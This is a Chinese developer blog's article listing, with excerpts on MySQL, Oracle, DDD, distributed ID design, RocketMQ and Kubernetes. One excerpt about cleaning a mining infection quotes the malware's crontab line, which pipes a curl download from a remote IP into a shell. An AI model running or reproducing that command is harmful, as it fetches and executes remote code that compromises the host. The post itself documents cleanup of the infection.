自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(60)
  • 收藏
  • 关注

原创 2021-02-02

博客已迁移到cndbahttps://www.cndba.cn/Supreme_Aaron感兴趣可以看一下。

2021-02-02 14:48:55 93

原创 关于MySQL mvcc

innodb mvcc 原理性解释

2024-07-09 11:46:41 464

原创 Java的Lock(二)

所以 自旋等待的时间必须要有一定的限制。自适应意味着自旋的时间(次数)不在固定,而是由前一次在同一个锁上的自旋时间及锁的拥有者的状态来决定。并且持有锁的线程正在进行中,那么虚拟机就会认为这次自旋也是有可能再次成功的,进而它将允许自旋等待持续相对更长的时间。在许多场景中,同步资源的锁定时间很短,为了这一段时间去切换线程,线程挂起和恢复现场的花费可能会让系统得不偿失。如果机器有多个CPU,能够让两个或以上的线程同时并行执行,就可以让后面那个请求锁的线程不放弃CPU的执行时间,看看持有锁的线程是否很快释放锁。

2024-02-20 11:13:11 301

原创 Java的Lock

Java本身提供了很多的锁。每种锁因其特性的不同。在不同的场景能展现出不同效率。Java中往往是按照是否含有某一种特性来定义锁。通过特性将锁分类,再使用对比的方式来看。

2024-02-19 14:47:02 802

原创 Clean Codo 如何写整洁的代码(一)

顾名思义 就是整洁的代码。或者说清晰、漂亮的代码。如果是写代码的不论前端 后端都希望能写出人模人样的代码。这个话题就和哈姆雷特一样 每个人看法不一。这里主要针对自己这几年来的经验来展开。

2024-02-01 15:29:32 433

原创 DDD领域驱动设计(六)

而在Vermon中 并未假定微服务架构风格,因此领域层暴露的出了领域服务外,还有聚合、实体和值对象等。此时的应用服务层是比较简单,获取来自接口层的请求参数,调度多个领域服务以实现界面层功能。即就是通过串联领域对象、资源库和防腐层等一系列领域内的对象行为,对其他上下文提供交互的接口。存储手段多样化,常见就是数据库,分布式缓存,localCache.资源库的作用,就是对领域的存储和访问进行统一管理对象。比起原来将资源管理放在服务中的做法,由资源库对资源进行管理,职责更加明确,代码的可读性和可维护性更高。

2024-01-08 20:01:05 666

原创 DDD领域驱动设计(五)

聚合根:一组相关对象的集合。作为一整体被外界访问。聚合根就是这个聚合的根节点聚合是一个非常重要的概念。核心领域往往都需要用聚合来表达。其次,聚合在技术上有较高的价值。可以指导详细设计。聚合由根实体。值对象和实体组成。聚合内部多个组成对象的关系可以用来指导数据库创建。但不可避免存在一定的抗阻。如果聚合中存在List,那么在数据库中建立1:N的关联需要将值对象单独建表,此时是有id的。建议不要把id暴露。领域服务:一些重要的领域行为 可以归类为领域服务。既不是实体也不是值对象范畴。

2024-01-02 10:49:27 871

原创 DDD领域驱动设计(四)

在不同上下文集成时,会出现模型概念的公用。在订单上下文中如果你只关注下单商品的信息快照,那么将商品对象看作值对象是个好的选择。这种对象称为实体(entity).最简单的 公安系统的身份录入。抽奖上下文通过防腐层对三个上下文进行隔离。梳理清楚上下文之间的关系后。首先看一下DDD中的定义。一个上下文可以明确自己对其他上下文的依赖。开放主机服务 定义一种协议来让其上下文来对本上下文进行访问。我们还需要进一步梳理上下文之间的关系。梳理清楚上下文之间的关系。1 任务的更好拆分,可以让单独的人去负责一块东西。

2023-12-22 16:59:38 368

原创 DDD领域驱动设计(三)

**我的实践经验是 考虑产品所讲的通用语言,从中提取一些术语称之为概念对象,寻找对象之间的联系。观察他们内在的联系。系统通过确定的限界上下文来进行解耦,而每一个上下文内部紧密组织,职责明确。限界上下文就是软件对于问题域的一个特定的、有限的解决方案。上文抽奖系统的大致需求:配置一个抽奖活动 -> 面向一个特定的用户 -> 针对特定的用户设置不同的奖品 -> 通过活动页面参与不同类型的抽奖活动。首先抽奖上下文作为整个领域的核心,承担用户抽奖的核心业务。奖品有自身的配置 概率 库存 最多被一个用户抽奖的次数。

2023-12-21 17:18:59 819

原创 DDD领域驱动设计(二)

以上三种活动在实际开发中是有先后顺序的。在我们解决常规套路问题时,我们很自然往分层架构套(先确定系统架构),或者用PHP开发(确定技术架构) 在业务不复杂的情况下 没啥毛病。我们创建一个微服务时,需要创建一个高内聚 低耦合的微服务。而DDD的限界上下文则完美匹配微服务的特点。就是DDD的上下界。一般有两种方式,技术维度和业务维度。跳过业务架构设计出来的架构关注点不在业务响应上。用原来的抽奖来做个简单的例子。用DDD重构完成一个中型的基于微服务架构的系统。微服务架构强调用业务维度来分治应对系统复杂度。

2023-12-20 18:06:13 382

原创 DDD领域驱动设计

ddd领域驱动设计

2023-12-19 19:09:57 822

原创 分布式ID系统设计(3)

第二集说了id-service-Segment-DB可以生成趋势递增的ID,但是ID号是可以计算的。不太适用于一些订单ID生成的场景。因为存在数据暴露的风险比如我可以对比两天的订单ID号来大致计算出公司一天的订单量。这个有点危险。所以我们需要id-serviceSnowFlake方案。id-service-snowFlake完全沿用snowFlake方案的bit位设计。即"1+41+10+12"的方式组装id。对于workid的分配 基本上可以用手动配置。

2023-11-02 15:06:18 1347

原创 分布式ID系统设计(2)

在取号段的时间是在号段消耗完之后进行。也就意味着号段临界点的ID下发时间取决于下一次从DB取回号段的时间,并且在这期间进来的请求也会因为DB号段没有取回来,导致线程阻塞。如果请求DB的网络和DB的性能稳定,这种情况对系统的影响是不大的,但是假如取DB的时候网络发生抖动,或者DB发生慢查询就会导致整个系统的响应时间变慢。为此,我们希望DB取号段的过程能够做到无阻塞,不需要在DB取号段的时候阻塞请求线程,即当号段消费到某个点时就异步的把下一个号段加载到内存中。而不需要等到号段用尽的时候才去更新号段。

2023-11-01 18:06:53 1298

原创 分布式ID系统设计(1)

uuid 标准包含32个16进制数字,以连字号为5段,形式8-4-4-4-12的36个字符。

2023-10-23 15:17:31 757

原创 分布式锁Redisson原理解析

redis分布式锁 redisson

2023-03-29 11:23:08 274

原创 RocketMQ5.0

rocketMQ 5.0支持任意时间的延迟消息

2023-03-25 16:55:20 104

原创 手把手教你实现一个Seata(secondDay TMimpl)

手把手教你实现一个Seata(secondDay)

2023-03-25 11:41:49 126

原创 手把手教你实现一个Seata(firstDay)

手把手教你写一个simpleSeata

2023-03-25 11:36:50 396

原创 Linux swap导致FullGC

swap导致GC

2023-03-20 11:18:16 187

原创 MyBatis大批量插入的坑

MyBatis中的批量插入的坑

2023-03-20 10:58:21 175

原创 关于http rocketMQ的坑

用mac开发 然后监听了一个topic。当本地的代码关闭之后 rocketMQ 还是会往本地发送message。

2023-02-08 23:18:53 110

原创 SpringBoot Resp返回BigDecimal浏览器精度丢失

MappingJackson2HttpMessageConverter的类里面即可。这个时候需要统一一下格式。spring默认使用Jackson做序列化和反序列化。ObjectMapper 去配置SerializationFeature.WRITE_BIGDECIMAL_AS_PLAIN发现不能成功实现想要的。数据库存100.00的时候 前端显示会变成100。数据库存100.01的时候 前端显示100.01。实现一个序列化机 然后注入 给他丢到继承了。

2023-01-12 20:57:34 835

原创 阿里云rocketMQ SDK在openJDK的问题

serviceException抛出来的时候无法解析的Exception。(然后看无法解析的内容 其实就是消息不存在)。正常来说按照代码逻辑消息不存在应该抛出的是null。如果按照官方的demo去实现http版的customer的时候。在openjdk11的情况下 会抛出一系列的interError。使用IDEA debug的时候发现。他内部有一个static map 他会在第一次没找到的时候去加载。但是一直就是没找到。就是下面的initJAXBContext 方法。具体的需要自己的DEBUG才会有感觉。

2022-10-24 21:18:53 530

原创 如何写SpringBootStarter 通过一个例子让你掌握starter

Starter是Spring Boot中的一个非常重要的概念,Starter相当于模块,它能将模块所需的依赖整合起来并对模块内的Bean根据环境( 条件)进行自动配置。例如,在Maven的依赖中加入spring-boot-starter-web就能使项目支持Spring MVC,并且Spring Boot还为我们做了很多默认配置,无需再依赖spring-web、spring-webmvc等相关包及做相关配置就能够立即使用起来。idea创建项目 -> 这个就没什么好写的 就和普通的工程的一样。

2022-10-20 20:32:18 506

原创 一次应用'自动修复'的故障(mysql原因)

杭州的梅雨天,导致人不给力,可能系统也会出点问题...(我是DBA这个时候还在去公司的路上,下面的均为程序猿口述)我司某个程序猿,早上的时候较为勤奋,来的比较早。这个时候,监控系统发出了很多报警信息,rabbitmq堵塞严重,积压了大量消息。他上堡垒机连接上应用服务器,tail 了error日志发现,业务系统没有任何问题。然后统计下消息队列里面的信息。业务客户反映来看,只有信用卡的消费有影...

2019-06-25 09:30:45 414

原创 mysql中类似Oracle的to_date

ORACLE:select to_date('20190808123456','YYYY-MM-DD HH24:MI:SS') from dual;TO_DATE('2019080812-------------------2019-08-08 12:34:56MYSQL:select str_to_date('20190808123456','%Y%m%d %H%i%s') ...

2019-06-17 15:42:53 460

原创 Oracle 所在服务器负载过高

过节的时候 运维打电话说zabbix监控不到一台核心Oracle了我这边上线去查问题环境 CentOS Linux release 7.2.1511 (Core) ORACLE 11.2.0.4这个是运维发过来的TOP 从上面看包括数据库内部看 并没有很大的压力(基本没有event)CPU基本处于id状态 wa占了10几 感觉是这个有问题crontab 上面这个时间是...

2019-06-10 09:19:16 645

原创 mysql update没有加where

sql里面没有加where 导致更新了所有数据(美团还是大众点评开源了一个binlog2sql的工具就是为了这个场景 原理还是binlog里面挖数据) 吐槽下 mysql确实没有O强大需要借助开源力量,可能这也是mysql比O强的一个方面mysql是8.0版本binlog_format | ROW |如果是statement形式的就不...

2019-06-05 11:24:30 2417

原创 mysql误删除innodb数据文件和logfile

测试环境被开发删除掉了 innodb.ibdata 文件和ib_logfile思路还是和Oracle一样借助于linux句柄来恢复数据(不能关闭MySQLd和系统)把前端应用全部锁掉在数据库层设置read_only 或者flush table with read lock 或者直接kill 掉应用先用netstat -ntlp |grep mysqld查出对应的进程号...

2019-06-05 10:55:02 195

原创 python 移动文件

由于业务程序的原因 会在系统的目录下面有很多的小文件小文件1K 一个 一个文件夹有好几万个 甚至几十万个文件人为手工去动太麻烦按照领导要求不能删 只能移动系统:windows2008可以手动更改多少天之前的移动,下面调用函数 可以手动更改原地址和目标地址,会在你的目标地址创建和原来一样的目录结构 会在磁盘分区后面加上时间源码:https://github.com/cc...

2019-05-14 15:09:27 827

原创 mysql discard

mysql 表迁移可以用 mysqldump,mysqlpump这类逻辑导出 类似Oracle的exp/expdp上次碰到个问题 老的mysql的拉出来 所有frm 和ibd 文件 只有innodb的表恢复使用create,discard,import 方式恢复大概操作就是新库creatediscard掉然后import进去亲测可用...

2019-05-13 09:42:02 1377

原创 linux被病毒感染 CPU使用很高

被当矿机。。挖矿这个机器运行着k8s master 跑着几十个应用和DB 不能重装crontab -e 查到dd掉这段 删除后续处理:删除/var/spool/cron/crontab/root,/var/spool/cron/root文件中echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | ...

2019-04-18 16:52:23 1368

原创 迁移mysql 1.27T

朋友让我去迁移下他们的DB 数据量原库大概1.27T然后这个人给我挖了个坑 使用了mysqlpump 导出了所有的数据。。。。(这里不得不吐槽下 超过100G的数据建议用xtrabackup 去做) =======》 800G的sql文件这里还得吐槽 不建议用win系列跑DB这里导入到1.6G 的时候抛错 mysql server has gone aw...

2019-04-18 09:53:29 146

原创 Oracle下dc_tablespace_quotas问题

这个问题 导致insert慢正常是毫秒 慢的时候1-2分钟insert 某张表的问题,正常时段是毫秒,问题时段是1-2分钟才成功。查event的时候是row cache lock等待事件这个等待事件,伴随着lath:row cache objects查select INSTANCE_NUMBER,p1,count(*) cnt from dba_hist_active...

2019-04-17 10:31:11 313

原创 mysql 性能问题

偶然发现mysql的这个问题[Note] InnoDB: page_cleaner: 1000ms intended loop took %   上面跑的是mysql5.7   应用就是个zabbix  buffpool_size 35G  总32核心和64G 这个问题基本的出现 应该就是你的innodb 的IO 能力存在问题  (这边是机械盘  考虑换ssd)根据slow-log...

2019-02-18 11:22:53 429

原创 linux下cpu高负载案例

由于过去时间挺久得了  那个时候的记录都找不到了 大概看下解决思路 公司前端反应 操作慢、卡顿   一开始猜测网络问题 (走的内部VPN 可能会导致这个问题)切换网络之后还是有问题 这时候登录数据库服务器感觉卡顿 一查top 发现根本不正常 平时基本只有个位数的负载 这次一看有70+(32cpus 64Gmem) 业务高峰是一个问题 推断应该就是数据库出现了问题进入数据库 查等...

2019-01-31 15:47:03 222

原创 ora 600 (2662)

做了rman恢复的时候碰到了 ora 600       ORA-600 [2662] [a] [b] {c} [d] [e]ora 600 2662 的意思大概就是 数据库的某一个块的SCN点 比数据库的整体SCN提前采取的方式大概就是   10015 和bbed 的方式  只有10G才有bbed 的包 11G 本身不带 如果要用可以去10G 上面拷贝一份我这里使用了 10015 数...

2019-01-18 16:15:38 266

原创 关于mysql做完大transaction

环境:mysql 5.7 linux 7 256内存 32核 前景交代 做了一个select 大约5亿条记录  之后做了delete  all  删除到一半的时候发现不对 取消掉 rollback 按照道理 安静等待mysql 的回滚就能恢复数据  从28号开始回滚到29号 都没结束这个事物感觉不太对   然后进mysql.information_schema.INNODB...

2019-01-02 10:13:25 167

原创 从0开始 docker+k8s集群 (second day)

关闭swap  如果开启了swap k8s启动会失效swapoff -a关闭防火墙和SElinuxcat kubernetes.confnet.bridge.bridge-nf-call-iptables=1net.bridge.bridge-nf-call-ip6tables=1net.ipv4.ip_forward=1net.ipv4.tcp_tw_recycle=0vm...

2018-12-19 17:40:58 186

原创 从0开始 docker+k8s集群 (first day)

first day :准备三台机器  修改掉主机名kube-node1  类推添加 k8s 用户 组和docker 用户 组   把k8s 添加到docker组里面去  useradd -m k8s sh -c 'echo 123456 |passwd k8s --stdin'visudo   #修改/etc/sudoers  docker 有些命令需要root 权限...

2018-12-17 19:41:44 477

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除